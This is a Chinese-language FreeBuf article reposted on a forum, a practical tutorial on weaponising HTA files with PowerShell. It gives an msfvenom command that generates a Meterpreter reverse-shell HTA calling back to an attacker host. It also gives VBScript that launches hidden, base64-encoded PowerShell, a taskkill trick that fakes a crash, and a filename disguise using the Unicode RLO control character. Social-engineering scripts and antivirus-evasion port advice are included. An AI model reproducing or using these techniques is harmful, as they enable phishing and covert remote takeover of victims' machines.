搜索

[9665] 2015-12-21_我有两把枪：Powershell+HTA

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2015-12-21_我有两把枪：Powershell+HTA 我 有 两 把 枪 ： P o w e r s h e l l   +   H T A L J o k e r P   F r e e B u f   2 0 1 5 - 1 2 - 2 1 我 去 前 面 探 探 路 我 去 前 面 探 探 路 众 所 周 知 ， 众 所 周 知 ， P o w e r s h e l l 早 已 被 集 成 到 了 早 已 被 集 成 到 了 w i n d o w s 的 环 境 中 ， 国 外 大 牛 玩 得 不 亦 乐 乎 ， 而 国 内 圈 子 却 很 少 听 到 讨 论 的 环 境 中 ， 国 外 大 牛 玩 得 不 亦 乐 乎 ， 而 国 内 圈 子 却 很 少 听 到 讨 论 P o w e r s h e l l 的 ， 至 少 我 身 边 只 有 一 位 小 伙 伴 一 起 研 究 ， 的 ， 至 少 我 身 边 只 有 一 位 小 伙 伴 一 起 研 究 ， H T A 更 不 用 说 了 ， 不 是 学 计 算 机 的 或 许 根 本 不 知 道 这 是 什 么 更 不 用 说 了 ， 不 是 学 计 算 机 的 或 许 根 本 不 知 道 这 是 什 么 鬼 ， 当 然 也 包 括 那 些 当 年 计 算 机 基 础 翘 课 的 鬼 ， 当 然 也 包 括 那 些 当 年 计 算 机 基 础 翘 课 的 … … 男 女 搭 配 干 活 不 累 ； 我 爸 揍 我 、 我 妈 踹 我 ， 混 合 双 打 ； 两 王 在 手 ， 拆 开 出 、 当 炸 弹 打 ， 怕 了 么 ； 每 每 两 强 相 遇 ， 怪 怪 的 灵 感 就 来 了 ； 6 级 惹 ！ 看 我 Q W E R 滚 键 盘 式 组 合 技 ！ 啪 ！ 啪 ！ 啪 ！ 金 角 大 王 金 角 大 王   P o w e r s h e l l L i n u x 下 有 b a s h ， W i n d o w s 下 有 P o w e r s h e l l 。 P o w e r s h e l l 依 靠 在 . N E T 这 个 大 树 下 ， 因 此 也 有 了 比 如 直 接 调 用 w i n d o w s A P I 等 强 大 功 能 和 利 用 价 值 。
P o w e r s h e l l 脚 本 后 缀 名 为 p s 1 ， 这 种 格 式 不 像 b a t 、 v b s 、 e x e 等 双 击 执 行 ， 而 是 需 要 经 由 p o w e r s h e l l . e x e 启 动 ， 可 以 直 接 使 用 ： P o w e r S h e l l . e x e   - E x e c u t i o n P o l i c y   B y p a s s   - F i l e   . s c r i p t . p s 1 或 者 直 接 把 脚 本 直 接 输 入 p o w e r s h e l l 执 行 。 在 w i n 7 和 s e r v e r 0 8 后 ， P o w e r s h e l l 被 集 成 在 系 统 中 ， 此 举 方 便 了 服 务 器 的 管 理 ， 同 样 ， 过 分 的 的 强 大 也 让 自 己 危 险 了 很 多 。 银 角 大 王 银 角 大 王   H T A h t a 格 式 ， 看 上 去 一 个 陌 生 的 后 缀 ， 但 实 际 遨 游 网 络 的 你 天 天 都 接 触 到 ， 因 为 它 也 是 网 页 格 式 的 一 种 ， 类 似 于 h t m l / h t m   ， 通 过 h t m l 语 法 编 写 内 容 。 H T A 是 H T M L - A p p l i c a t i o n 的 缩 写 ， 是 软 件 开 发 的 新 概 念 ， 直 接 将 某 个 h t m l 页 面 保 存 成 h t a 的 格 式 ， 就 是 一 个 独 立 的 应 用 软 件 ， 点 开 与 网 页 内 容 并 无 区 别 ， 界 面 与 V B 、 C + + 等 程 序 语 言 所 设 计 的 软 件 界 面 没 什 么 差 别 ， 显 示 为 窗 口 交 互 界 面 。 就 是 个 网 页 ！ 不 就 是 钓 鱼 嘛 ！ 用 你 教 ？ 就 是 个 网 页 ！ 不 就 是 钓 鱼 嘛 ！ 用 你 教 ？ 答 对 了 ， 确 实 类 似 于 钓 鱼 ， 但 是 得 补 充 一 下 ， H T A 虽 然 用 H T M L 、 J S 和 C S S 编 写 ， 却 比 普 通 网 页 权 限 大 得 多 ， 不 但 窗 口 界 面 跟 其 他 软 件 相 同 ， 同 时 它 也 相 应 的 具 有 类 似 于 V B 、 C + + 编 写 的 桌 面 程 序 的 相 同 权 限 （ 读 写 文 件 、 操 作 注 册 表 等 ） 。 H T A 本 来 就 是 被 设 计 为 制 作 桌 面 程 序 的 ， 所 以 能 直 接 调 用 其 他 组 件 执 行 命 令 。 总 的 说 ， H T A 是 个 披 着 w e b 外 衣 的 e x e 应 用 程 序 ， 要 是 加 上 P o w e r s h e l l … … 嘿 嘿 嘿   : P   （ 没 有 挖 0 d a y 的 技 术 ， 就 放 飞 你 的 思 路 。 ） P o w e r s h e l l 利 用 脚 本 可 以 到 G i t h u b 上 搜 搜 ， 歪 果 仁 们 的 研 究 已 然 很 透 彻 ， 有 很 多 大 牛 的 渗 透 脚 本 可 以 借 鉴 。 跳 刀 躲 梅 肯 ， 别 笑 ， 我 要 出 招 了 跳 刀 躲 梅 肯 ， 别 笑 ， 我 要 出 招 了 先 举 个 栗 子 ： h e l l o . h t a （ 栗 子 没 毒 ， 复 制 粘 贴 放 心 食 用 ~ ） < ! - - h e l l o . h t a - - > < h t m l > < h e a d > < t i t l e > h e l l o < / t i t l e > < m e t a   h t t p - e q u i v = " C o n t e n t - T y p e "   c o n t e n t = " t e x t / h t m l ;   c h a r s e t = U T F - 8 "   / > < H T A : A p p l i c a t i o n I D = " o H T A "   A p p l i c a t i o n n a m e = " h t a _ a p p "   b o r d e r = " t h i n "   b o r d e r s t y l e = " n o r m a l "   i c o n = " h e l l o . i c o "   m a x i m i z e b u t t o n = " y e s " m i n i m i z e b u t t o n = " y e s "   s h o w i n t a s k b a r = " n o "   s i n g l e i n s t a n c e = " n o "   s y s m e n u = " y e s "   v e r s i o n = " 7 7 7 "   w i n d o w s t a t e = " n o r m a l "   s c r o l l = " y e s " > < / h e a d > < b o d y > < c e n t e r > < b r >
< h 1 > H e l l o   H T A < / h 1 > < b r > < h 2 > (   ⊙   o   ⊙   ) / 出 来 吧 ！ 计 算 器 ！ < / h 2 > < b r > < / c e n t e r > < s c r i p t   l a n g u a g e = " V B S c r i p t " > S e t   H e l l o   =   C r e a t e O b j e c t ( " W s c r i p t . S h e l l " ) H e l l o . R u n   " c a l c . e x e " < / s c r i p t > < / b o d y > < / h t m l > 虽 然 说 也 是 静 态 页 面 ， 但 h t a 脚 本 可 以 直 接 使 用 v b s 并 调 用 W s c r i p t . S h e l l ， 毕 竟 人 家 是 h t m l 家 里 的 大 哥 大 ， 偏 应 用 型 的 脚 本 类 型 ， 所 以 说 ， 如 果 把 他 想 象 成 双 击 就 能 执 行 的 “ h t a 大 马 ” 毫 不 为 过 ！ w i n d o w s 自 带 h t a 环 境 ， c m d 中 输 入   m s h t a   你 会 发 现 ， 已 经 集 成 在 w i n 环 境 里 了 ， 输 入 完 并 不 会 弹 出 什 么 ， 只 是 确 定 不 报 错 就 证 明 有 这 个 东 西 ， 所 以 说 白 了 ， 运 行 h t a 跟 运 行 e x e 简 直 一 样 ， 双 击 即 可 。 在 实 例 h e l l o . h t a 中 的   < H T A : >   是 H T A 的 一 些 参 数 设 置 ， 设 置 详 情 见 之 前 H T A 相 关 内 容 链 接 。 已 然 有 了 已 然 有 了 H T A 的 完 美 辅 助 ， 如 果 加 上 的 完 美 辅 助 ， 如 果 加 上 P o w e r s h e l l 的 暴 力 输 出 呢 ？ 的 暴 力 输 出 呢 ？ 答 案 是 ： 你 们 随 便 选 吧 ， 我 来 打 崩 三 路 。 P S :   写 了 老 久 调 用 p o w e r s h e l l 的 h t a ， 越 写 越 不 对 劲 儿 ， 干 脆 借 鉴 G i t h u b 上 人 家 写 的 注 入 S h e l l C o d e 脚 本 ， 打 开 M a t e s p l o i t 准 备 生 成 S h e l l c o d e ， 突 然 发 现 m s f v e n o m 上 原 来 已 经 有 h t a - p s h 现 成 的 f o r m a t 了 ， 省 时 省 力 ， 那 就 加 以 利 用 好 了 。 ( 我 凑 ， 之 前 没 注 意 到 呢 … … ) 好 吧 ， 我 们 来 直 接 成 一 个 h t a - p s h 的 回 弹 脚 本 ： m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 1 7 5 . x x x . x x x . x x x   l p o r t = 8 0 8 1   - f   h t a - p s h   - o   t e s t . h t a 生 成 的 脚 本 内 容 经 过 b a s e 6 4 e n c o d e 加 密 ， 想 学 习 的 同 学 可 以 把 b a s e 6 4 部 分 还 原 ， 观 察 编 写 语 法 。
发 给 朋 友 试 试 ， （ 各 种 杀 毒 ， 安 全 狗 ， 老 大 哥 型 测 试 环 境 ） 直 接 弹 回 了 一 个 m e t e r p r e t e r _ s h e l l ， 从 点 击 到 回 弹 间 隔 了 5 到 6 秒 ， 估 计 因 为 调 用 p o w e r s h e l l 和 b a s e 6 4 处 理 时 间 （ 第 二 次 貌 似 点 开 就 快 了 些 ） ， 全 过 程 并 且 没 有 触 发 到 杀 毒 ， 连 提 醒 都 没 有 ， 真 正 “ 开 袋 即 食 ” 。 原 因 分 析 ： 原 因 分 析 ： 1 .   H T A 依 赖 于 m s h t a . e x e 解 析 ， 而 m s h t a . e x e 是 系 统 下 自 带 的 ， 所 以 并 不 用 免 杀 就 能 直 接 调 用 执 行 ， 不 会 像 v b s 脚 本 被 花 式 吊 打 。 2 .   P o w e r s h e l l 嘛 ， 同 理 是 w i n d o w s 的 自 己 人 ， 加 上 参 数   - n o p   - w   h i d d e n   后 ， 能 强 行 绕 过 U A C 执 行 命 令 。 3 .   端 口 选 取 8 0 8 1 也 是 一 个 原 因 ， 因 为 很 少 有 杀 毒 拦 截 常 见 的 h t t p 端 口 ， 如   8 0   /   4 4 3   /   2 1   /   2 2   /   2 5   /   4 4 5   /   1 4 3 3   /   3 3 0 6   /   3 3 8 9   /   8 0 8 0   / 8 8 8 8   等 ， 在 不 占 用 的 情 况 下 都 可 加 以 利 用 。 如 此 生 僻 的 格 式 谁 会 去 点 开 ？ 怎 么 利 用 ？ 如 此 生 僻 的 格 式 谁 会 去 点 开 ？ 怎 么 利 用 ？ 答 ： 我 ！ 我 ！ 选 我 ！ 选 我 ！ : P 确 实 ， 一 个 h t a 后 缀 的 文 件 ， 见 都 没 见 过 呢 ， 图 标 还 是 个 执 行 文 件 ， 打 开 显 示 一 个 白 板 ， 十 分 可 疑 … … ！ 辣 摸 … … 这 时 候 就 要 靠 猴 子 派 来 的 救 兵 辣 ！ S o ， 问 题 来 了 ， 你 知 道 U n i c o d e 控 制 符 控 制 符 么 … … U n i c o d e 控 制 符 ： 控 制 文 字 显 示 属 性 ， 实 现 类 似 倒 序 显 示 等 属 性 设 定 。 而 这 个 特 点 ， 在 文 件 名 中 同 样 适 用 ！ 就 让 我 们 用 控 制 符 给 他 改 个 名 字 ， 再 把 内 容 丰 富 美 化 一 下 ， 再 结 合 你 聪 ( 猥 ) 明 ( 琐 ) 的 灵 感 加 上 少 许 社 工 的 魅 力 ， 分 分 钟 弹 s h e l l 不 是 梦 ~ 来 ， 再 举 个 栗 子 ： 来 ， 再 举 个 栗 子 ： d e e x e . h t a < t i t l e > X X X - e x p < / t i t l e > < c e n t e r > < h 1 > X X X - e x p :   d e a t h . e x e < / h 1 > < b r > < h 2 > L o a d i n g . . . < / h 2 > < b r > [ < m a r q u e e   s c r o l l A m o u n t = 4   w i d t h = 3 5 0   d i r e c t i o n = r i g h t > | | | | | | | | | | | | | < / m a r q u e e > ] 3 5 % < b r > < / c e n t e r > < s c r i p t   l a n g u a g e = " V B S c r i p t " > S e t   H a c k d o   =   C r e a t e O b j e c t ( " W s c r i p t . S h e l l " ) S e t   C h e c k   =   C r e a t e O b j e c t ( " S c r i p t i n g . F i l e S y s t e m O b j e c t " ) I f   C h e c k . F i l e E x i s t s ( H a c k d o . E x p a n d E n v i r o n m e n t S t r i n g s ( " % P S M o d u l e P a t h % " )   +   " . . p o w e r s h e l l . e x e " )   T h e n H a c k d o . R u n   " p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   c a l c . e x e " E n d   I f
< / s c r i p t > 出 现 这 样 一 个 画 面 ， 是 不 是 也 会 让 人 反 应 几 秒 呢 ~   停 ！ 别 喷 了 ， 我 知 道 大 家 比 我 做 的 肯 定 好 _ ( : з ゝ ∠ ) _ 只 要 替 换 其 中 P o w e r s h e l l 命 令 为 ： p w e r s h e l l . e x e   - n o p   - w   h i d d e n   - e   . . . b a s e 6 4 - p s 1 - p a y l o a d - b a l a b a l a b a l a . . . 就 能 按 你 所 想 执 行 你 的 命 令 了 ！ 社 工 方 面 ， 美 化 可 以 集 思 广 益 ， 营 造 出 完 美 的 画 面 效 果 ， 哪 怕 利 用 控 制 符 保 存 为 社 工 方 面 ， 美 化 可 以 集 思 广 益 ， 营 造 出 完 美 的 画 面 效 果 ， 哪 怕 利 用 控 制 符 保 存 为 h t m l 后 缀 ， 界 面 换 成 黑 页 。 后 缀 ， 界 面 换 成 黑 页 。 新 做 了 个 美 到 没 朋 友 的 黑 页 ， 来 ， 发 给 你 看 看 。 ” — — 人 ， 所 有 理 性 事 件 中 的 感 性 漏 洞 也 。 “ （ 理 论 上 可 以 通 过 < H T A : > 标 签 来 控 制 图 标 的 ， 不 知 为 何 测 试 不 成 功 。 ） 如 果 想 假 装 闪 退 效 果 ， 可 以 直 接 在 脚 本 结 尾 加 入 执 行   “ t a s k k i l l   / f   / i m   m s h t a . e x e ”   k i l l 掉 m s h t a 的 进 程 ， 因 为 s h e l l c o d e 是 注 入 在 p o w e r s h e l l 中 执 行 的 ， 只 要 p o w e r s h e l l 健 在 ， s e s s i o n 就 能 保 持 住 。 < s c r i p t   l a n g u a g e = " V B S c r i p t " > S e t   H a c k d o   =   C r e a t e O b j e c t ( " W s c r i p t . S h e l l " ) S e t   C h e c k   =   C r e a t e O b j e c t ( " S c r i p t i n g . F i l e S y s t e m O b j e c t " ) I f   C h e c k . F i l e E x i s t s ( H a c k d o . E x p a n d E n v i r o n m e n t S t r i n g s ( " % P S M o d u l e P a t h % " )   +   " . . p o w e r s h e l l . e x e " )   T h e n H a c k d o . R u n   " p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   c a l c . e x e " H a c k d o . R u n   " t a s k k i l l   / f   / i m   m s h t a . e x e " E n d   I f < / s c r i p t > P S :   实 际 渗 透 中 ， 得 到 s e s s i o n 后 记 得 赶 紧   m i g r a t e   [ a n o t h e r - p i d ]   哦 ~ 这 只 是 个 弹 计 算 器 的 脚 本 ， 大 可 拷 贝 下 来 实 际 操 作 一 遍 ， 拷 贝 ， 新 建 t x t 文 档 ， 打 开 ， 粘 贴 并 保 存 为 名 称 d e e x e . h t a ， 右 键 重
命 名 ， 光 标 放 在 d e 和 e x e . h t a 之 间 点 击 右 键 ， 选 择 插 入 U n i c o d e 控 制 符 ， 点 击 插 入 R L O 。 W a l a a a ~   恭 喜 获 得 新 名 称 d e a t h . e x e ！ 替 换 成 执 行 m s f _ r e v e r s e ， 赶 紧 发 给 好 基 友 试 射 新 造 的 核 弹 ！ 场 景 模 拟 ： 场 景 模 拟 ： “ 我 写 了 个 0 d a y ， x x x - s e r v e r 直 接 秒 ！ 先 发 给 你 玩 玩 ？ ” “ 好 呀 好 呀 ！ 咦 ？ 一 直 读 取 … …   咦 ？ 闪 退 了 … … ” “ 你 删 了 吧 ！ 有 b u g !   我 再 改 改 … … ” (   1 . . .   2 . . .   3 . . .   弹 弹 弹 ， 战 个 痛 ！   : P   ) 我 有 两 把 枪 ， 一 把 叫 我 有 两 把 枪 ， 一 把 叫 P o w e r 射 ， 一 把 叫 射 ， 一 把 叫 H T 啊 啊
那 今 天 就 介 绍 到 这 啦 ， 更 多 新 姿 势 改 天 聊 ！ P S :   这 C o s e r 像 不 像 邓 紫 棋   ( づ ￣ 3 ￣ ) づ ╭ ❤ ～ * 本 文 作 者 ： L J o k e r P ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理